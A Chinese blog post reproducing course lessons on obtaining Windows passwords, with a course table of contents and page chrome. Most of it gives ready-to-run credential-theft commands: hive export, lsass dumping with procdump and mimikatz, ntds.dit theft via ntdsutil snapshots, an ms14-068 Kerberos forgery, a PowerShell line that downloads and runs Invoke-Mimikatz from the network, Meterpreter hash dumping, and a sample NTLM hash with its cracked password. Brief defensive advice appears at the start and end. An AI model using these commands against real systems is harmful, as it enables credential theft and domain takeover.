Kali 4.3.0 (rolling) x64 (gdm3)Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)Archlinux x64 Gnome 3 (Gnome Keyring 3.20)OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)VSFTPd 3.0.3-8+b1 (Active FTP client connections)Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)

安全防范 Mimikatz 获取密码

参考作者及网上安全防范方法主要有以下三个方法:

  • 用户被添加到保护用户组,将域控升级到 Active Directory 2012 R2 功能级别,然后将重要用户添加到保护用户组。
  • 安装 KB2871997 补丁程序。
  • 修改注册表键值

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest下新建 UseLogonCredential 值,其类型为 Dword32 位类型,值为 0 即可。

参考文章:

点击了解更多《密码安全攻防技术精讲》

第02课:物理接触获取并破解 Windows 系统密码

很多人认为个人计算机比较安全,因为给计算机设置了密码,外人不知道设置的密码,因此也就安全了,其实这里面有很大的误解,个人计算机安全除了设置密码强健程度以外,还需要设置禁用光盘启动,禁止修改 BIOS 等。下面将介绍密码相关知识,了解这些将有助于防范黑客攻击和资料外泄。

点击了解更多《密码安全攻防技术精讲》

Windows 密码获取思路

Windows 系统密码获取有多种方式,下面对获取 Windows 密码的思路进行总结:

  • 通过 0 day 直接获取权限,然后通过 wce 等工具获取明文或者哈希值,比如 ms08067,通过溢出直接获取 system 权限,虽然现在越来越少,但现实中还是存在,比如最近的 iis webdav、ms017-010 溢出漏洞。
  • 通过网站漏洞获取 Webshell 后,通过系统存在漏洞提权,获取权限后再获取系统密码以及哈希值。
  • 内网环境可以通过 ntscan 等工具进行扫描,暴力破解获取。
  • 本地物理接触获取。通过 livecd、PE 盘等工具,启动系统后,直接读取系统文件,将 config 文件夹全部复制,然后进行哈希值提取并暴力破解之。

密码哈希值获取工具

Gethash

insidepro.com 公司早期开发的提取密码工具,最新版本为 1.6,目前已经停止更新,其工具在 saminside 中可以获取。

Gsecdump

Gsecdump 目前版本为 v2.0b5,由于其使用的广泛性,因此被 Google 浏览器以及杀毒软件定义为病毒,官方网站已经不提供下载地址,可以给官方(info@truesec.co)发邮件索取。

QuarksPwDump

Quarks PwDump 是 Quarkslab 出品的一款用户密码提取开源工具,目前软件最新版本为 0.2b,其完整源代码可以单击这里获取,目前它支持 Windows XP/2003/Vista/7/2008 版本,且相当稳定,可以抓取 Windows 平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和 Bitlocker。

Pwdump

Pwdump4.02 版本中有两个文件,一个是 Pwd4.dll,另外一个是 Pwdump4.exe,在早期版本中其 dll 文件为 lsaext.dll。

Mimikatz

Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取 WindowsXP-2012 等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期 1.0 版本到现在的 2.1.1 20180205 版本,其功能得到了很大的提升和扩展,最新版下载地址详见这里

Windows Credentials Editor(WCE)

WCE 是一款功能强大的 Windows 平台内网渗透工具,它可以列举登录会话,并且可以添加、改变和删除相关凭据(如 LM/NT hashes)。这些功能在内网渗透中能够被利用,例如,在 Windows 平台上执行绕过 hash 或者从内存中获取 NT/LM hashes(也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透手必备工具。

reg 命令导出到文件

通过执行 reg 命令将 SAM、System、Security 文件内容导出到文件。

reg save hklm\sam sam.hivereg save hklm\system system.hivereg save hklm\security security.hive

procdump.exe + mimikatz

procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bitsprocdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bitssekurlsa::minidump lsass.dmpmimikatz # sekurlsa::logonPassword

密码获取方法

物理接触获取密码法

通过将 Ophcrack liveCD、BT5、Kali、PE 等制作成启动光盘或者启动 U 盘,启动系统后将系统目录下的 config 文件下的 SAM 和 SECURITY 文件复制出来,通过 saminside 导入即可进行破解。

前面提及工具的密码获取方法

  • gethash $local
  • gsecdump –a
  • QuarksPwDump
QuarksPwDump -dhl  导出本地哈希值QuarksPwDump –dhdc 导出内存中的域控哈希值QuarksPwDump -dhd  导出域控哈希值,必须指定 NTDS 文件
  • pwd4 /l /o:filename.sam
  • mimikatz
privilege::debugsekurlsa::logonpasswords
  • wce –a

域控密码获取

(1)gsecdump法:gsecdump –s >all.txt

(2)QuarksPwDump 法

ntdsutil  snapshot  "activate  instance  ntds"  create  quit  quit//创建快照ntdsutil  snapshot  "mount {GUID}"  quit  quit // Ntdsutil挂载活动目录的快照copy  MOUNT_POINT\windows\NTDS\ntds.dit  c:\ntds.dit //复制快照的本地磁盘ntdsutil  snapshot  "unmount {GUID}"  quit  quit //卸载快照ntdsutil  snapshot  "delete {GUID}"  quit  quit //删除快照QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit //提权文件 hash 值

注意:获取哈希值最好都在同一台服务器上执行,也即将 QuarksPwDump.exe 直接放在导出 ntds.dit 服务器上,执行导出命令。如果仅仅将 ntds.dit 复制后下载本地可能会出现无法读取错误。如果是想下载 ntds.dit 到本地恢复还需要执行“reg save hklm\system system.hive”,将 system.hive 和 ntds.dit 全部复制到本地进行域控密码获取。网上也曾经出现一个 NTDS.dit 密码快速提取工具 ntdsdump,使用命令来快速提取:NTDSDump.exe -f ntds.dit -s SYSTEM -o Hash.txt

(3)使用 ms14-068 漏洞攻击域控服务器获取域控权限

ms14-068.exe -u -p -s –d 生成伪造缓存 test.ccache,然后通过 mimikatz 导入test.ccache:kerberos::ptc test.ccachenet use 命令获取域控权限:net use \\A-EE64804.TEST.LOCALdir \\A-EE64804.TEST.LOCAL\c$

通过前面的方法来获取域控密码。

使用 winlogonhack 获取系统密码

安装 winlogonhack 记录程序,记录 3389 登录密码到系统目录下的 boot.dat 文件。

使用 ps1 批量获取 Windows 密码

在 Windows 2008 及以上操作系统中执行命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

注意:获取密码的计算机必须能够访问 raw.githubusercontent.com 网络,也可以将该 ps 文件下载到其他地址,然后替换后执行。

在 msf 获取反弹的 shell 上获取密码

(1)getuid 获取当前帐号为系统权限,则进行后续操作,否则通过 ps 命令去获取小于 1000 以内的 pid,执行 migrate pid 来提升权限后,继续执行后续步骤。

(2)load mimikatz。

(3)运行 mimikatz 下面的凭证获取命令:

  kerberos   获取网络认证协议凭证,其中可能会有明文密码  msv        获取 msv 凭证,其中包含 LM 和 NTLM 哈希密码值  wdigest    获取 wdigest(摘要式身份验证)凭证,其中可能会有明文密码

(4)还可以执行 hashdump 来导出系统的哈希密码值。

IIS7 配置文件密码读取

mimikatz.exe privilege::debug log "iis::apphost /in:"%systemroot%\system32\inetsrv\config\applicationHost.config" /live" exit

VPN 密码获取

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

OpenVPN 配置及其密码

发现安装有 OpenVPN,可以将其配置文件夹 config 全部复制到本地,重新覆盖后可以只用其 key 和密码或者密钥进行登录,如图1所示。

enter image description here

图1 复制 VPN 配置文件

物理接触获取密码方法

对于上班的个人计算机,如果在 BIOS 中未设置安全验证和禁止光盘、网络和 U 盘启动,入侵者可以通过物理接触计算机,窃取个人计算机资料。

获取系统 SAM 和 System 文件

通过 livecd、BT5、Kali、ophcrack 等工具盘,启动系统后,将 windows\system32\config 文件夹下的 SAM、SYSTEM 和 SECURITY 文件复制出来,如图2所示。

enter image description here

图2 复制 SAM、Security 和 Security 文件

导入 SAM、System 和文件

使用 Saminside 工具软件,选择导入 SAM、Security 和 System 文件,即从 File 中选择第一个选项,如图3所示,分别选择 SAM、Security 和 System 文件,其 NTLM 哈希值就出来了。

enter image description here

图3 获取用户密码哈希值

使用 ophcrack 进行密码破解

选择需要破解的密码哈希值,将其导出,然后单独复制需要破解的哈希值,在本例中为:

Administrator:500:E7108C208C467BF789985C6892014BB8:981A05EBA7EA97FA5E776705E985D15A:管理计算机域::将该值复制到 ophcrack 中进行破解,如图4所示。

enter image description here

图4 使用 ophcrack 进行暴力破解

通过网站在线破解

LM 哈希值和 NT 哈希值复制到网站 http://www.objectif-securite.ch/ophcrack.php 进行破解,如图5所示,直接就出来了,密码为 mmd-333cyx。

enter image description here

图5 通过网站在线破解

个人计算密码安全防范方法和措施

通过笔者研究,可以通过以下一些方法和措施来加强个人计算机安全。

  • 安装杀毒软件,及时更新病毒库,并设置病毒保护密码,无该密码无法清除杀毒软件查杀的病毒。
  • 设置强健的密码。目前 14 位以下的密码,通过 ophcrack 可以快速进行破解,建议设置超过 14 位以上的字母大小写 + 数字 + 特殊字符的密码,可以是一句话的首字母加大小写加特殊字符加世界等。
  • 设置 BIOS 禁止除硬盘外地其他方式启动,也即禁止从网络、光盘和优盘启动。
  • 进入系统设置两道关口,第一道是 BIOS 进入密码,第二次是系统设置的密码。

点击了解更多《密码安全攻防技术精讲》

第03课:通过戴尔服务器远程访问管理卡获取服务器权限
第04课:公司网站被入侵——弱口令账号惹的祸
第05课:服务器安全攻防之 SSH 账号扫描及攻击
第06课:服务器安全攻防之 MySQL 账号扫描及攻击
第07课:Windows 口令扫描及 3389 口令暴力破解
第08课:Linux 操作系统 Root 账号密码获取防范技术研究
第09课:利用服务器公钥直接登录服务器
第10课:利用社工邮箱获取 VPN 账号渗透某大型公司内网
第11课:如无人之境——内网 MSSQL 服务器口令扫描及渗透
第12课:使用 Hashcat 暴力破解加密 Office 文档密码
第13课:我无所不能——无线网络里面的秘密
第14课:通过渗透电信诈骗网站看个人财富帐号安全
第15课:被骗 80 万美元——境外诈骗集团追踪分析
第16课:轻松获取及破解 Windows 操作系统密码
第17课:对钓鱼网站 APK 数据的解密分析
第18课:对个人财富的窥视——对一款手机木马的解读及分析
第19课:对个人隐私的窥视——来自网络摄像头的渗透
第20课:磁盘镜像文件加载获取密码
第21课:国外 14 亿泄露数据下载及还原
第22课:Linux 密码生成工具 Crunch 使用攻略
第23课:一句话密码破解获取某网站 Webshell
第24课:使用 BurpSuite 破解 Webshell 密码
第25课:专栏订阅者利用专栏技术再现无线密码破解

阅读全文: http://gitbook.cn/gitchat/column/5afbf24f753289354cab7983

  • 3
    点赞
  • 0
    评论
  • 9
    收藏
  • 打赏
    打赏
  • 扫一扫,分享海报

参与评论 您还未登录,请先 登录 后发表或查看评论
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页

打赏作者

蔚1

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值